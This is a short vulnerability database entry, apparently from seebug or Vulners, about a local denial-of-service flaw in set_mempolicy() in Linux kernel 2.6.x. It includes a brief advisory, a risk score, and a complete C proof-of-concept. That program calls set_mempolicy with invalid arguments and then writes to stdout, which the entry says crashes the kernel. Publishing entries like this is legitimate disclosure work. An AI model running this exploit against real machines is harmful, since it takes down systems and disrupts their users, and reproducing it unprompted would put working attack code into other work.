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Linux Kernel 2.6.x SET_MEMPOLICY Local Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
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 seebug
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Linux Kernel 2.6.x SET_MEMPOLICY Local Denial of Service Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/16135/info

Linux kernel is prone to a local denial-of-service vulnerability.

This issue affects the 'set_mempolicy()' function of the 'mm/mempolicy.c' file.

Successful exploitation causes the kernel to crash, leading to a denial-of-service condition. 

#include <asm/unistd.h>

main(){
        syscall(__NR_set_mempolicy,3,0,0);
        write(1,10,8192);
}

                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15